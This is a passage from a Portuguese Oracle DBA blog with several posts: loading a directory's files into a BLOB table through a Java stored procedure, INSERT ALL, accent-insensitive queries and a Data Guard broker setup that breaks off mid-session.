Blog do Marcio Portes

Leitura de Arquivos pelo PL/SQL e Java

2009-05-21T00:02:00.006-03:00

Dúvida:

Marcio,

Bom dia!

Visitei seu BLOG e encontrei um exemplo pra inserir arquivo num campo BLOB numa tabela de banco de dados do ORACLE.

Gerar Arquivo de Campo BLOB

Funcionou, beleza, porem a minha necessidade seria ,inserir todos os arquivos de um determindo diretorio em uma tabela.

Voce teria alguma dica, ou algum exemplo que poderia me auxiliar ?

Desde já agradeco pela ajuda.

Em minha resposta imediata, informei ao colega que era necessário usar uma procedure java para ler os arquivos do diretório no nível do sistema operacional e, desse modo, usar a coleção da forma que lhe convier. Não sou desenvolvedor java, então fui obrigado a pesquisar, acabei encontrando um ótimo código que irei "emprestar" para meu exemplo. O site onde o encontrei é a asktom, o fonte não pertence ao Tom Kyte e sim ao Anthony Wilson da Austrália. Na mesma thread é possível encontrar outros exemplos assim como excelentes respostas do Tom sobre o assunto.

Eu achei interessante a solução do Anthony na medida em que a informação devolvida é completa. Ele usou um type com informação do tipo: se arquivo; se legível; se gravável; se escondido; tamanho do arquivo em bytes; e última modificação.


ops$marcio:DB11G> set lines 80
ops$marcio:DB11G> desc DIR_ENTRY
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 FILE_TYPE                                          VARCHAR2(1)
 READABLE                                           VARCHAR2(1)
 WRITEABLE                                          VARCHAR2(1)
 HIDDEN                                             VARCHAR2(1)
 FILE_SIZE                                          NUMBER
 MODIFIED                                           DATE
 NAME                                               VARCHAR2(4000)

Meu exemplo dar-se-á em um Oracle 11g com o java (JVM) rodando sobre Linux EL5. Caso haja interesse em reproduzir o exemplo, por favor, cheque suas configurações e verifique se estão parecidas.


[marcio@pc scripts]$ uname -a
Linux pc.mportes.local 2.6.18-8.el5PAE #1 SMP Tue Jun 5 23:39:57 EDT 2007 i686 i686 i386 GNU/Linux

[marcio@pc scripts]$ cat /etc/enterprise-release
Enterprise Linux Enterprise Linux Server release 5 (Carthage)
 
[marcio@pc scripts]$ sqlplus /

SQL*Plus: Release 11.1.0.7.0 - Production on Thu May 21 00:30:24 2009

Copyright (c) 1982, 2008, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

ops$marcio:DB11G> select * from v$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
PL/SQL Release 11.1.0.7.0 - Production
CORE    11.1.0.7.0      Production
TNS for Linux: Version 11.1.0.7.0 - Production
NLSRTL Version 11.1.0.7.0 - Production

5 rows selected.

ops$marcio:DB11G> select COMP_NAME, VERSION, STATUS from dba_registry;

COMP_NAME                                VERSION                        STATUS
---------------------------------------- ------------------------------ -----------
Oracle Application Express               3.2.0.00.27                    VALID
OWB                                      11.1.0.6.0                     VALID
Oracle Enterprise Manager                11.1.0.7.0                     VALID
Oracle Ultra Search                      11.1.0.7.0                     VALID
OLAP Catalog                             11.1.0.7.0                     VALID
Spatial                                  11.1.0.7.0                     VALID
Oracle Multimedia                        11.1.0.7.0                     VALID
Oracle XML Database                      11.1.0.7.0                     VALID
Oracle Text                              11.1.0.7.0                     VALID
Oracle Expression Filter                 11.1.0.7.0                     VALID
Oracle Rules Manager                     11.1.0.7.0                     VALID
Oracle Workspace Manager                 11.1.0.7.0                     VALID
Oracle Database Catalog Views            11.1.0.7.0                     VALID
Oracle Database Packages and Types       11.1.0.7.0                     VALID
JServer JAVA Virtual Machine             11.1.0.7.0                     VALID
Oracle XDK                               11.1.0.7.0                     VALID
Oracle Database Java Packages            11.1.0.7.0                     VALID
OLAP Analytic Workspace                  11.1.0.7.0                     VALID
Oracle OLAP API                          11.1.0.7.0                     VALID

Em resumo, após criar a procedure java para fazer a leitura dos arquivos no diretório, vou salvá-los em uma tabela. Note que é possível usar a cláusula WHERE para selecionar os arquivos de acordo com os campos do type DIR_ENTRY, exemplo: todos os arquivos a partir de uma data; trazer somente os arquivos visíveis, etc. Neste caso, vou subir todos meus archives '/oracle/arch'.

ops$marcio:DB11G> !ls -l /oracle/arch
total 2377612
-rw-r----- 1 oracle dba 100942848 May 20 02:23 1_100_683430221.dbf
-rw-r----- 1 oracle dba 100943872 May 20 02:23 1_101_683430221.dbf
-rw-r----- 1 oracle dba 100943872 May 20 15:33 1_102_683430221.dbf
-rw-r----- 1 oracle dba  18439168 May 20 21:20 1_103_683430221.dbf
-rw-r----- 1 oracle dba  57431552 Apr 27 22:15 1_17_683430221.dbf
-rw-r----- 1 oracle dba  90300416 May 17 19:56 1_90_683430221.dbf
-rw-r----- 1 oracle dba  73134080 May 17 21:35 1_91_683430221.dbf
-rw-r----- 1 oracle dba   9502208 May 19 00:03 1_92_683430221.dbf
-rw-r----- 1 oracle dba 100943872 May 19 00:39 1_93_683430221.dbf
-rw-r----- 1 oracle dba  42433536 May 19 14:20 1_94_683430221.dbf
-rw-r----- 1 oracle dba  19104768 May 19 20:17 1_95_683430221.dbf
-rw-r----- 1 oracle dba 100943872 May 20 00:48 1_96_683430221.dbf
-rw-r----- 1 oracle dba 100937216 May 20 02:22 1_97_683430221.dbf
-rw-r----- 1 oracle dba 100942336 May 20 02:22 1_98_683430221.dbf
-rw-r----- 1 oracle dba 100940288 May 20 02:22 1_99_683430221.dbf

ops$marcio:DB11G> create or replace type
  2  dir_entry as object (
  3     file_type varchar2(1),
  4     readable  varchar2(1),
  5     writeable varchar2(1),
  6     hidden    varchar2(1),
  7     file_size number,
  8     modified  date,
  9     name      varchar2(4000)
 10  );
 11  /

Type created.

ops$marcio:DB11G> 
ops$marcio:DB11G> create or replace type dir_array as table of dir_entry;
  2  /

Type created.

ops$marcio:DB11G>
ops$marcio:DB11G> create or replace and compile java source named "Util" as
 2 
 3  import java.io.File;
 4  import java.io.FilenameFilter;
 5  import java.io.IOException;
 6 
 7  import java.sql.Connection;
 8  import java.sql.SQLException;
 9  import java.sql.ResultSet;
10  import java.sql.PreparedStatement;
11  import java.sql.Timestamp;
12 
13  import oracle.sql.ARRAY;
14  import oracle.sql.STRUCT;
15  import oracle.sql.ArrayDescriptor;
16  import oracle.sql.StructDescriptor;
17 
18  import oracle.jdbc.driver.OracleDriver;
19 
20  public class Util {
21 
22      private static Connection conn;
23 
24      static {
25          try {
26              conn = (new OracleDriver()).defaultConnection();
27          } catch (SQLException e) {
28              System.out.println(e);
29          }
30      }
31 
32 
33      /**
34       * List the files in the directory represented by the given Oracle DIRECTORY
35       * object.
36       *
37       * @param dirname The name of the DIRECTORY object for which we want to list
38       * the files (case sensitive).
39       * @throws IOException
40       * @throws SQLException
41       */
42      public static ARRAY listFiles(String dirname)
43          throws IOException, SQLException {
44 
45          String dirpath = getDirectoryPath(dirname);
46          File directory = getDirectory(dirpath);
47 
48          STRUCT[] ret = fileList(directory);
49 
50          // Create an array descriptor and return it.
51          ArrayDescriptor desc = ArrayDescriptor.createDescriptor (
52              "DIR_ARRAY", conn);
53 
54          return new ARRAY(desc, conn, ret);
55      }
56 
57      /**
58       * Create a File object with the abstract pathname given by the parameter.
59       *
60       * @param dirpath The filesystem path of the directory
61       * @throws IOException If the directory represented by this pathname does
62       * not exist, or if it is a file.
63       */
64      private static File getDirectory(String dirpath) throws IOException {
65 
66          File directory = new File(dirpath);
67 
68          if(!directory.exists()) {
69              throw new IOException("Directory: "+dirpath+" does not exist.");
70          }
71          if(!directory.isDirectory()) {
72              throw new IOException("Path: "+dirpath+" is not a directory.");
73          }
74 
75          return directory;
76      }
77 
78      /**
79       * Get the filesystem path for the Oracle DIRECTORY object given by the
80       * input parameter.
81       *
82       * @param dir The name of the DIRECTORY object for which we want the path.
83       * @throws IOException If there is no DIRECTORY object with the given name.
84       */
85      private static String getDirectoryPath(String dir)
86          throws SQLException, IOException {
87          String sql = "select directory_path from all_directories where " +
88              "directory_name = ?";
89 
90          PreparedStatement s = conn.prepareStatement(sql);
91          s.setString(1, dir);
92          ResultSet rs = s.executeQuery();
93 
94          // There should be one row and one only.
95          if(rs.next()) {
96              return rs.getString(1);
97          } else {
98              throw new IOException("Directory object "+dir+" does not exist.");
99          }
100 
101      }
102 
103      /**
104       * Create an array of STRUCT objects representing the files in the given
105       * directory.
106       *
107       * @param directory The File object representing the directory.
108       * @throws SQLException
109       */
110      private static STRUCT[] fileList(File directory) throws SQLException {
111 
112          // Create the array of files to add.
113          File[] files = directory.listFiles (
114              new FilenameFilter() {
115                  // Accept all files
116                  public boolean accept(File dirpath, String name) {
117                      return true;
118                  }
119              }
120          );
121 
122          // No files in directory
123          if(files == null) {
124              return null;
125          }
126 
127          STRUCT[] ret = new STRUCT[files.length];
128 
129          // Create the struct entry for each file.
130          for(int i=0; i<files.length; i++) {
131              File f = files[i];
132              StructDescriptor sd = StructDescriptor.createDescriptor (
133                  "DIR_ENTRY", conn);
134              Object[] attributes = {
135                  f.isDirectory() ? "D" : (f.isFile() ? "F" : "U"),
136                  f.canRead() ? "Y" : "N",
137                  f.canWrite() ? "Y" : "N",
138                  f.isHidden() ? "Y" : "N",
139                  new Long(f.length()),
140                  new Timestamp(f.lastModified()),
141                  f.getName()
142              };
143              STRUCT s = new STRUCT(sd, conn, attributes);
144              ret[i] = s;
145          }
146 
147          return ret;
148      }
149 
150  }
151  /

Java created.

ops$marcio:DB11G> create or replace package util
  2  as
  3     function ls(p_dirname in varchar2) return dir_array;
  4  end;
  5  /

Package created.

ops$marcio:DB11G> 
ops$marcio:DB11G> create or replace package body util
  2  as
  3     function ls(p_dirname in varchar2) return dir_array
  4     is
  5        language java name 'Util.listFiles(java.lang.String) return oracle.sql.ARRAY';
  6  end;
  7  /

Package body created.

ops$marcio:DB11G> 
ops$marcio:DB11G> drop table t purge;

Table dropped.

ops$marcio:DB11G> 
ops$marcio:DB11G> create table t ( n varchar2(40), x blob );

Table created.

ops$marcio:DB11G> 
ops$marcio:DB11G> create or replace directory test_dir as '/oracle/arch';

Directory created.

ops$marcio:DB11G> 
ops$marcio:DB11G> declare
  2       l_blob    blob;
  3       l_bfile   bfile;
  4       l_dir     varchar2(30) default 'TEST_DIR';
  5  begin
  6       for x in ( select name from table(util.ls(l_dir)))
  7       loop
  8           insert into t( n, x ) values ( x.name, empty_blob() ) returning x into l_blob;
  9           l_bfile := bfilename( l_dir, x.name );
 10           dbms_lob.fileopen( l_bfile );
 11           dbms_lob.loadfromfile( l_blob, l_bfile, dbms_lob.getlength( l_bfile ) );
 12           dbms_lob.fileclose( l_bfile );
 13       end loop;
 14  end;
 15  /

PL/SQL procedure successfully completed.

ops$marcio:DB11G> 
ops$marcio:DB11G> select n, dbms_lob.getlength(x) bytes from t;

N                                                BYTES
---------------------------------------- -------------
1_17_683430221.dbf                            57431552
1_97_683430221.dbf                           100937216
1_101_683430221.dbf                          100943872
1_92_683430221.dbf                             9502208
1_98_683430221.dbf                           100942336
1_103_683430221.dbf                           18439168
1_94_683430221.dbf                            42433536
1_102_683430221.dbf                          100943872
1_100_683430221.dbf                          100942848
1_96_683430221.dbf                           100943872
1_95_683430221.dbf                            19104768
1_90_683430221.dbf                            90300416
1_99_683430221.dbf                           100940288
1_91_683430221.dbf                            73134080
1_93_683430221.dbf                           100943872

15 rows selected.

É bom lembrar que se for a primeira execução, o exemplo possivelmente vai falhar. Propositalmente, deixei esta explicação para o final a fim de advertir que é necessário dar privilégio de gravação no diretório onde a procedure java fará a leitura. Esse tipo de situação deve ser observada já que toda a permissão, especialmente nesse nível, precisa ser inventariada e controlada. Portanto, cuidado quando sugerir esse tipo de implementação em produção. Seguindo o exemplo, vou modificar o caminho do DIRECTORY para provocar o erro e demonstrar como dar o acesso.

ops$marcio:DB11G> create or replace directory test_dir as '/oracle';

Directory created.

ops$marcio:DB11G> select name from table(util.ls('TEST_DIR'));
select name from table(util.ls('TEST_DIR'))
                       *
ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission
(java.io.FilePermission /oracle/admin write) has not been granted to OPS$MARCIO. The PL/SQL to grant this is
dbms_java.grant_permission( 'OPS$MARCIO', 'SYS:java.io.FilePermission', '/oracle/admin', 'write' )

ops$marcio:DB11G> exec dbms_java.grant_permission( 'OPS$MARCIO', 'SYS:java.io.FilePermission', '/oracle/*', 'write')

PL/SQL procedure successfully completed.

ops$marcio:DB11G> select name from table(util.ls('TEST_DIR'));

NAME
-----------------------------------------------
admin
lost+found
apex
arch
cfgtoollogs
oradata
oraInventory
11.1.0
diag
ewallet.p12
sqladm
oraInventory_10g

12 rows selected.

ops$marcio:DB11G> col name format a30
ops$marcio:DB11G> select * from table(util.ls('TEST_DIR'));

F R W H     FILE_SIZE MODIFIED            NAME
- - - - ------------- ------------------- ------------------------------
D Y N N          4096 25/07/2008 01:04:16 admin
D Y Y N         16384 07/05/2007 09:22:07 lost+found
D Y N N          4096 06/04/2009 01:04:34 apex
D Y N N          4096 21/05/2009 00:04:04 arch
D Y N N          4096 07/11/2008 19:53:34 cfgtoollogs
D Y N N          4096 05/11/2008 00:52:45 oradata
D Y Y N          4096 07/11/2008 19:48:13 oraInventory
D Y Y N          4096 19/06/2008 22:33:54 11.1.0
D Y Y N          4096 26/06/2008 01:45:37 diag
F N N N          9973 21/08/2008 00:51:39 ewallet.p12
D Y Y N          4096 27/09/2008 15:34:40 sqladm
D Y N N          4096 30/06/2008 22:16:28 oraInventory_10g

12 rows selected.

INSERT ALL

2009-01-07T02:28:00.004-02:00

Dúvida:

Marcio,

Segue abaixo um exemplo.
Eu leio os dados da tabela t1 e vou inserir em t2 e em t3.
Na tabela t2 vai inserir todos os dados, na tabela t3 só pode
inserir se a coluna c2 da tabela T1 estiver preenchida.

Grato pela atenção.

create table t1 (CL1 NUMBER(3), CL2 NUMBER(3), DATA_CARGA DATE );
create table t2 (CL1 NUMBER(3) PRIMARY KEY, CL2 NUMBER(3), DATA_INSERT DATE, USUARIO VARCHAR2(30) );
create table t3 (CL1 NUMBER(3) PRIMARY KEY, CL2 NUMBER(3) NOT NULL , DATA_INSERT DATE, USUARIO VARCHAR2(30) );

INSERT INTO T1(CL1, CL2) VALUES (1,10);
INSERT INTO T1(CL1, CL2) VALUES (2,20);
INSERT INTO T1(CL1) VALUES (3);
INSERT INTO T1(CL1) VALUES (4);
INSERT INTO T1(CL1) VALUES (5);

Quando o colega me enviou essa dúvida pela primeira vez, ele gostaria que eu o ajudasse a depurar um problema em um código procedural onde ele abria um cursor para ler a tabela T1 e inserir nas tabelas T2 e T3. Muitas vezes esquecemos dos recursos que o Oracle oferece e o código procedural é o primeiro que aparece para solucionarmos o problema, mas vale a pena dar uma paradinha para verificar se com SQL puro não se consegue o mesmo resultado só que com a performance bem melhor. No problema acima, o colega poderia esquecer o código procedural (cursor) e usar o INSERT ALL.


ops$marcio:DB11G> select * from t1;

          CL1           CL2 DATA_CARGA
------------- ------------- -------------------
            1            10
            2            20
            3
            4
            5

5 rows selected.

ops$marcio:DB11G> select * from t2;

no rows selected

ops$marcio:DB11G> select * from t3;

no rows selected

ops$marcio:DB11G>
ops$marcio:DB11G> insert all
  2    when ( cl2 is not null ) then
  3      into t3( cl1, cl2, data_insert, usuario )
  4      values ( cl1, cl2, data_carga, user )
  5    when ( 1=1 ) then
  6      into t2( cl1, cl2, data_insert, usuario )
  7      values ( cl1, cl2, data_carga, user )
  8  select *
  9    from t1
 10  /

7 rows created.

ops$marcio:DB11G>
ops$marcio:DB11G> select * from t1;

          CL1           CL2 DATA_CARGA
------------- ------------- -------------------
            1            10
            2            20
            3
            4
            5

5 rows selected.

ops$marcio:DB11G> select * from t2;

          CL1           CL2 DATA_INSERT         USUARIO
------------- ------------- ------------------- ------------------------------
            1            10                     OPS$MARCIO
            2            20                     OPS$MARCIO
            3                                   OPS$MARCIO
            4                                   OPS$MARCIO
            5                                   OPS$MARCIO

5 rows selected.

ops$marcio:DB11G> select * from t3;

          CL1           CL2 DATA_INSERT         USUARIO
------------- ------------- ------------------- ------------------------------
            1            10                     OPS$MARCIO
            2            20                     OPS$MARCIO

2 rows selected.

Dessa forma, foi possível atender os requisitos e completar a tarefa com uma única instrução SQL.

Consulta Ignorando Acentos

2007-07-07T21:00:00.002-03:00

Algum tempo atrás, me fizeram uma pergunta sobre consulta sem considerar acentos. Quando respondi, falhei em pesquisar um pouco mais a fundo e então sugeri uma opção trabalhosa para resolver o problema.

Semana passada, fiz uma página de "eWho" - procura de ramais - que necessitava exatamente do mesmo mecanismo de busca, ou seja, que ignorasse acentos, maísculas e minúsculas. Como sempre recorro ao meu blog, vi no artigo que eu tinha que fazer uma tabela de conversão, pensei "não é possível!" e como sou muito preguiçoso, me restou ler o manual de globalização e encontrar exatamente o que precisava no capítulo 5.

Bastou dois alter session e a query vai ignorar os acentos.


ops$marcio:LX10G> select * from t where x = 'marcio';

no rows selected

ops$marcio:LX10G> alter session set nls_comp=linguistic;

Session altered.

ops$marcio:LX10G> alter session set nls_sort=binary_ai;

Session altered.

ops$marcio:LX10G> select * from t where x = 'marcio';

X
--------------------
Márcio
MÁRCIO
MARCIO

3 rows selected.

Broker, Dataguard e Real-Time Apply - 10g

2007-06-09T19:48:00.000-03:00

Este é o complemento do artigo anterior, onde discutimos como montar um Data Guard usando o RMAN. A seguir, farei da mesma forma, ou seja, não haverá explicações específicas para os comandos, já que o melhor source para isso é o próprio manual.

Então começamos com as instâncias criadas no artigo anterior (n1dg e n2dg), a princípio definidas como n1dg = nó primário e n2dg = nó standby físico. Vamos então aos copies e pastes.

Garantia que não havia nenhuma instance viva.


[marcio@anakin ~]$ ps -ef | grep pmon_
marcio    6175  6044  0 00:07 pts/1    00:00:00 grep pmon_
[marcio@anakin ~]$
[marcio@anakin ~]$
[marcio@anakin ~]$ su - oracle
Password:
[oracle@anakin ~]$
[oracle@anakin ~]$
[oracle@anakin ~]$ cd /oracle/admin/
[oracle@anakin admin]$ ll -tr
total 20
drwxr-x---  6 oracle dba 4096 Feb 15 14:22 +ASM
drwxr-x---  8 oracle dba 4096 Feb 15 14:28 lx10g
drwxr-xr-x  7 ora92  dba 4096 Mar 27 16:48 lx92
drwxr-x---  9 oracle dba 4096 Jun  3 23:06 n1dg
drwxr-xr-x  9 oracle dba 4096 Jun  3 23:58 n2dg
[oracle@anakin admin]$

Levantando nó primário.


[oracle@anakin admin]$ export ORACLE_SID=n1dg
[oracle@anakin admin]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:08:17 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup
ORACLE instance started.

Total System Global Area     608174080 bytes
Fixed Size                     1263200 bytes
Variable Size                205523360 bytes
Database Buffers             394264576 bytes
Redo Buffers                   7122944 bytes
Database mounted.
Database opened.
idle>

Checando os parâmetros pré-configurados no artigo anterior.


idle> show parameter archive

NAME                                 TYPE        VALUE
------------------------------------ ----------- -----------------------------
archive_lag_target                   integer     0
log_archive_config                   string      DG_CONFIG=(n1, n2)
log_archive_dest                     string
log_archive_dest_1                   string      LOCATION=/backup/n1/arch
log_archive_dest_10                  string
log_archive_dest_2                   string
log_archive_dest_3                   string
log_archive_dest_4                   string
log_archive_dest_5                   string
log_archive_dest_6                   string
log_archive_dest_7                   string
log_archive_dest_8                   string
log_archive_dest_9                   string
log_archive_dest_state_1             string      enable
log_archive_dest_state_10            string      enable
log_archive_dest_state_2             string      enable
log_archive_dest_state_3             string      enable
log_archive_dest_state_4             string      enable
log_archive_dest_state_5             string      enable
log_archive_dest_state_6             string      enable
log_archive_dest_state_7             string      enable
log_archive_dest_state_8             string      enable
log_archive_dest_state_9             string      enable
log_archive_duplex_dest              string
log_archive_format                   string      %t_%s_%r.dbf
log_archive_local_first              boolean     TRUE
log_archive_max_processes            integer     2
log_archive_min_succeed_dest         integer     1
log_archive_start                    boolean     FALSE
log_archive_trace                    integer     0
remote_archive_enable                string      true
standby_archive_dest                 string      /backup/n1/arch

idle> show parameter db_name

NAME                                 TYPE        VALUE
------------------------------------ ----------- ---------------------------
db_name                              string      N1DG
idle> show parameter db_unique_name

NAME                                 TYPE        VALUE
------------------------------------ ----------- ---------------------------
db_unique_name                       string      n1
idle> show parameter fal

NAME                                 TYPE        VALUE
------------------------------------ ----------- ---------------------------
fal_client                           string      N1
fal_server                           string      N2
idle>

No nó primário, setar o DEST_1 com o novo parâmetro VALID_FOR Dataguard na versão 10g juntamente com o db_unique_name.


idle> alter system set LOG_ARCHIVE_DEST_1='LOCATION=/backup/n1/arch
  2                        VALID_FOR=(ALL_LOGFILES,ALL_ROLES)
  3                        DB_UNIQUE_NAME=n1'
  4 /

System altered.

Da mesma forma, porém desta vez vamos configurar o DEST_2, onde será entregue o archive para o standby. Nessa configuração, é importante para aplicação via archives, porém não obrigatório para nosso exemplo, porque faremos real-time apply, ou seja, poderíamos deixar de configurar o DEST_2 e criar somente os standby logfiles. Essa configuração é importante em emergências de rede, etc.


idle> alter system set LOG_ARCHIVE_DEST_2='SERVICE=n2
  2                   VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE)
  3                   DB_UNIQUE_NAME=n2';
  4 /

System altered.

idle> show parameter LOG_ARCHIVE_MAX_PROCESSES

NAME                                 TYPE        VALUE
------------------------------------ ----------- --------------------
log_archive_max_processes            integer     2
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin admin]$
[oracle@anakin admin]$
[oracle@anakin admin]$ echo $ORACLE_SID
n1dg
[oracle@anakin admin]$ export ORACLE_SID=n2dg

Passo 2: Configurar o standby (n2dg) - Não esquecer que a parte de rede foi previamente definida no artigo anterior.


[oracle@anakin admin]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:17:21 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup mount
ORA-01078: failure in processing system parameters
LRM-00109: could not open parameter file '/oracle/10g/dbs/initn2dg.ora'
idle> exit
Disconnected

Acho interessante deixar os problemas que tive durante a configuração. Por exemplo, o erro acima aconteceu porque eu esqueci de criar o spfile no artigo anterior. Então vamos levantar a instância com o pfile já usado anteriormente e a partir dele criar o spfile.


[oracle@anakin admin]$ cd n2dg/scripts/
[oracle@anakin scripts]$ ll -tr
total 8
-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh
-rw-r--r--  1 oracle dba 646 Jun  4 00:04 init.ora
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:17:43 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup mount pfile=./init.ora
ORACLE instance started.

Total System Global Area     608174080 bytes
Fixed Size                     1263200 bytes
Variable Size                167774624 bytes
Database Buffers             432013312 bytes
Redo Buffers                   7122944 bytes
Database mounted.
idle> !pwd
/oracle/admin/n2dg/scripts

idle> create spfile from pfile='/oracle/admin/n2dg/scripts/init.ora';

File created.

idle> startup mount force
ORACLE instance started.

Total System Global Area     608174080 bytes
Fixed Size                     1263200 bytes
Variable Size                167774624 bytes
Database Buffers             432013312 bytes
Redo Buffers                   7122944 bytes
Database mounted.
idle> show parameter db_name

NAME                                 TYPE        VALUE
------------------------------------ ----------- -------------------------
db_name                              string      n1dg
idle> show parameter db_unique_name

NAME                                 TYPE        VALUE
------------------------------------ ----------- -------------------------
db_unique_name                       string      n2

Hora das modificações do standby


idle> show parameter STANDBY_ARCHIVE_DEST

NAME                                 TYPE        VALUE
------------------------------------ ----------- -------------------------
standby_archive_dest                 string      ?/dbs/arch
idle> alter system set STANDBY_ARCHIVE_DEST='/backup/n2/arch';

System altered.

idle> alter system set log_archive_config='DG_CONFIG=(n1, n2)';

System altered.

idle> alter system set LOG_ARCHIVE_DEST_1='LOCATION=/backup/n2/arch
2                        VALID_FOR=(ALL_LOGFILES,ALL_ROLES)
3                        DB_UNIQUE_NAME=n2'
4 /

System altered.

idle> alter system set LOG_ARCHIVE_DEST_2='SERVICE=n1
2                        VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE)
3                        DB_UNIQUE_NAME=n1'
4 /

System altered.

Server do standby é o nó principal (N1) e client é o (N2) o inverso do nó primário.


idle> alter system set fal_server=n1;

System altered.

idle> alter system set fal_client=n2;

System altered.

idle> select * from v$log;

       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIM
------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- ---------
            1             1             2      52428800             1 NO  CURRENT                 485605 03-JUN-07
            3             1             1      52428800             1 YES INACTIVE                456954 03-JUN-07
            2             1             0      52428800             1 YES UNUSED                       0

3 rows selected.

Os próximos passos são a chave para o Real-Time Apply, porque faremos a aplicação das modificações através dos standby lofiles. Há necessidade criar tanto no physical standby como no primário.


idle> ALTER DATABASE ADD STANDBY LOGFILE GROUP 4 ('/backup/n2/n2dg/srl01.log') SIZE 50M;

Database altered.

idle> ALTER DATABASE ADD STANDBY LOGFILE GROUP 5 ('/backup/n2/n2dg/srl02.log') SIZE 50M;

Database altered.

idle> ALTER DATABASE ADD STANDBY LOGFILE GROUP 6 ('/backup/n2/n2dg/srl03.log') SIZE 50M;

Database altered.

idle> ALTER DATABASE RECOVER MANAGED STANDBY DATABASE DISCONNECT;

Database altered.

idle> select * from v$log;

       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIM
------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- ---------
            1             1             0      52428800             1 NO  CURRENT                 485605 03-JUN-07
            3             1             0      52428800             1 YES UNUSED                  456954 03-JUN-07
            2             1             0      52428800             1 YES UNUSED                       0

3 rows selected.

idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin scripts]$ export ORACLE_SID=n1dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:28:15 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

sys:N1DG> ALTER DATABASE ADD STANDBY LOGFILE GROUP 4 ('/backup/n1/n1dg/srl01.log') SIZE 50M;

Database altered.

sys:N1DG> ALTER DATABASE ADD STANDBY LOGFILE GROUP 5 ('/backup/n1/n1dg/srl02.log') SIZE 50M;

Database altered.

sys:N1DG> ALTER DATABASE ADD STANDBY LOGFILE GROUP 6 ('/backup/n1/n1dg/srl03.log') SIZE 50M;

Database altered.

sys:N1DG> select * from v$log;

       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME
------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------
            1             1             5      52428800             1 YES INACTIVE                528846 05/06/2007 00:00:55
            3             1             7      52428800             1 NO  CURRENT                 602414 12/06/2007 00:08:28
            2             1             6      52428800             1 YES INACTIVE                574349 09/06/2007 19:53:50

3 rows selected.

sys:N1DG> alter system switch logfile;

System altered.

sys:N1DG> alter system switch logfile;

System altered.

sys:N1DG> select * from v$log;

       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME
------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------
            1             1             8      52428800             1 NO  ACTIVE                  604660 12/06/2007 00:29:30
            3             1             7      52428800             1 NO  ACTIVE                  602414 12/06/2007 00:08:28
            2             1             9      52428800             1 NO  CURRENT                 604662 12/06/2007 00:29:32

3 rows selected.

sys:N1DG> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin scripts]$ export ORACLE_SID=n2dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:29:55 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> select * from v$log;

       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME
------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------
            1             1             0      52428800             1 NO  CURRENT                 485605 03/06/2007 23:23:05
            3             1             0      52428800             1 YES UNUSED                  456954 03/06/2007 23:10:55
            2             1             0      52428800             1 YES UNUSED                       0

3 rows selected.

idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

Como notado acima, nada de aplicação de redos ainda. Agora entra a parte da configuração do Data Guard Broker através do parâmetro DG_BROKER_START, não esquecer de mudar para TRUE em todos os nós que serão controlados pelo BROKER. (Obs: Depois que voce conhece o broker, nunca mais vai achar difícil fazer switchover, failover ou qualquer outra manutenção no seu dataguard).


[oracle@anakin scripts]$ export ORACLE_SID=n1dg
[oracle@anakin scripts]$
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:30:24 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

sys:N1DG> show parameter dg

NAME                                 TYPE        VALUE
------------------------------------ ----------- --------------------------------------------------
